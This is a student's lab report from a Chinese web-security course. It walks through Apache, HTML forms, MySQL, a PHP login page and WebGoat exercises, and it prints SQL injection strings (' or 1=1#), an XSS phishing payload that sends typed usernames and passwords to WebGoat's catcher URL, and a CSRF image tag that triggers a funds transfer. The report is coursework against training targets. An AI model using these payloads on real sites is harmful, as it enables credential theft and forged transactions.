• 20192412 202120222 《网络与系统攻防技术》实验八实验报告


    《网络与系统攻防技术》实验八 Web安全

    实验内容

    (1)Web前端HTML
    能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
    (2)Web前端javascipt
    理解JavaScript的基本功能,理解DOM。
    在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
    尝试注入攻击:利用回显用户名注入HTML及JavaScript。
    (3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
    (4)Web后端:编写PHP网页,连接数据库,进行用户认证
    (5)最简单的SQL注入,XSS攻击测试
    (6)安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。

    实验过程

    知识链接:
    (1)表单
    表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分: 表单标签:这里面包含
    了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。 表单域:包含了文本框、密码框、隐
    藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。 表单按钮:包括提交按钮、复位按钮 和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处
    理脚本的处理工作
    (2)SQL注入
    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作, 以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
    (3)XSS攻击
    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页, 使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容
    (4)CSRF攻击
    CSRF 英文全称是 Cross-site request forgery,所以又称为“跨站请求伪造”,是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。简单来讲,CSRF 攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事
    (5)WebGoat
    WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站 点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等

    任务一 Web前端HTML

    1. 使用"/etc/init.d/apache2 start"命令,开启Apache服务

    2. 使用"/etc/init.d/apache2 status"命令,查看当前Apache的服务状态

    3. 启动Apache服务后,在浏览器输入本机的IP地址,如果可以打开Apache的默认网页,则证明服务开启成功

    1. 进入 /var/www/html路径(Apache目录),用vi命令新建一个表单的html文件 gkw_form. html,如下图所示

    1. 在浏览器输入file//var/www/html/simple_form.html,打开网页如下图所示,即为我们编写的html文件

    任务二 Web前端javascipt

    1. 在原有的gkw_form.html的基础上,可以添加一段JavaScript代码,以完成对用户是否填写用户名和密码的判断。修改后的gkw_form_jsp.html,如下图所示

    任务三 Web后端MySQL基础

    1. 下载安装并启动mysql
      使用命令"apt-get install mariadb-server"(服务端)和 "apt-get install mariadb-client"(客户端)成功对其进行下载安装

    1. 启动mysql服务
      使用命令"systemctl start mysql"打开mysql服务,再使用命令"systemctl status mysql"查看当前mysql服务的执行状态

    2. 使用命令"mysql",进入MariaDB命令行界面

    3. 使用命令"use mysql";(进入mysql数据库),然后使用命令"show databases";(查看现有的数据库)

    4. 输入命令"SET PASSWORD FOR 'root'@'localhost' = PASSWORD('gkw2412'); "修改root用户登录数据库mysql的登录密码

    5. 输入命令"mysql -u root -p"登录

    6. 输入命令"create database gkw;" 创建一个新的数据库

    7. 建表并插入数据

    8. 创建用户并赋予权限

    9. 新用户登录数据库

    任务四 Web后端PHP

    1. 编写一个登录用的php文件login.php,在该代码里面使用了mysqli对数据库gkw进行了连接

    1. 打开网站,进行用户登录

    1. 最简单的SQL注入,XSS攻击测试,' or 1=1#

    2. 成功连接,进入数据库

    3. 将任意一张jpg格式的图片放在 /var/www/html 目录下,在用户名框输入如图所示

    1. 点击登录

    任务五 安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击

    1. webgoat安装

    2. sudo vim /etc/profile ,在结尾配置环境变量

    3. 进行相关配置

    1. 重新载入profile

    2. java -jar webgoat-container-7.0.1-war-exec.jar 安装并运行Webgoat

    3. 输入"http://localhost:8080/WebGoat"进入WebGoat登录界面(下面两个账号可以挑一个登录)

    4. SQL注入攻击
      登录WebGoat,选择左边菜单栏的 Injection Flaws→Numeric SQL injection,右键点击 inspect Element 审查网页元素

    5. 在选中的Value值中添加 or 1=1

    6. GO

    7. 在菜单栏中选择 Cross‐Site Scripting->Phishing with XSS

    8. 将下面这段代码输入到 "Search:" 输入框中,点击 search 、

    <head>
    <body>
    <div>
    <div style="float:left;height:100px;50%;background-color:green;"></div>
    <div style="float:left;height:100px;50%;background-color:red;"></div>
    </div>
    <div style="background-color:blue;height:200px;clear:both;"></div>
    </div></div>
    </form>
      <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    </body>
    </head>
    

    出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语 "This feature requires account login:" 和用户名、密码输入框

    1. 在登录框中输入用户名、密码'20192412gkw 20192412'点击登录后,alert提示显示被窃取的用户名和密码

    2. 在菜单栏中选择 Cross‐Site Scripting ->Cross Site Request Forgery (CSRF),在message框中输入

     <img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />
    

    1. 以图片的的形式将URL放进Message框,用户一旦点击图片,就会触发一个CSRF事件,点击 Submit 提交。提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,从而达到CSRF攻击的目的。

    问题及解决方案

    问题:jdk环境装不上,一点下载就卡
    解决方案:换寝室网,趁网络流量小的时候下载
    问题:sql注入时失败
    解决方案:少写了前面的',更正后成功

    学习感悟、思考等

    本次实验着重考察我们的综合能力,从简单的Web编程能力到前后端互联,再到XSS,SQL注入,CSRF,在学习和实验过程中,我的能力在不断的提高。在实验过程中我们使用到了包括PHP,js等多种语言,提高了我们的综合素质。对基本的攻击方法和防范都有了基本的认知,以后会加深对此的了解,不断提高自己的能力。

  • 相关阅读:
    (转载)教你在PHP中使用全局变量
    (转载)遍历memcache中已缓存的key
    (转载)PHP_Memcache函数详解
    PHP去除空白字符
    (转载)用PHP正则表达式清除字符串的空白
    (转载)PHP静态方法
    (转载)PHP 动态生成表格
    (转载)PHP strtotime函数详解
    (转载)URL与URI的区别
    ldap集成confluence
  • 原文地址:https://www.cnblogs.com/gkw2412/p/16367108.html
Copyright © 2020-2023  润新知